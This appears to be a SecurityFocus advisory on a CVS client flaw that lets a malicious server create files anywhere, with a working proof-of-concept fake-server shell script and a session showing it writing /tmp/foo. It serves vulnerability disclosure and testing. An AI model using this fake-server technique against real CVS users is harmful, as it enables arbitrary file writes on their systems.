source: https://www.securityfocus.com/bid/1523/info

The cvs client blindly trust paths returned to it by the server. Therefore, a cvs client could be tricked into creating a file anywhere on the system by a malicious server. 

This problem can be tested yourself as follows. Although this example
runs a faked cvs server using the :ext: method, this vulnerability is
available with any method (including :pserver: of course).

% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
#!/bin/sh

cat <<'End'
Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot Static-directory Sticky Checkin-prog Update-prog
Entry Kopt Checkin-time Modified Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx Global_option
Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt expand-modules ci co update diff log add remove update-patches
gzip-file-contents status rdiff tag rtag import admin export history release watch-on watch-off watch-add watch-remove watchers
editors init annotate noop
ok
Module-expansion tst
ok
Clear-sticky tst/
/cvsroot/tst/
Clear-static-directory tst/
/cvsroot/tst/
E cvs server: Updating tst
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
ok
End
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
-rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo
abc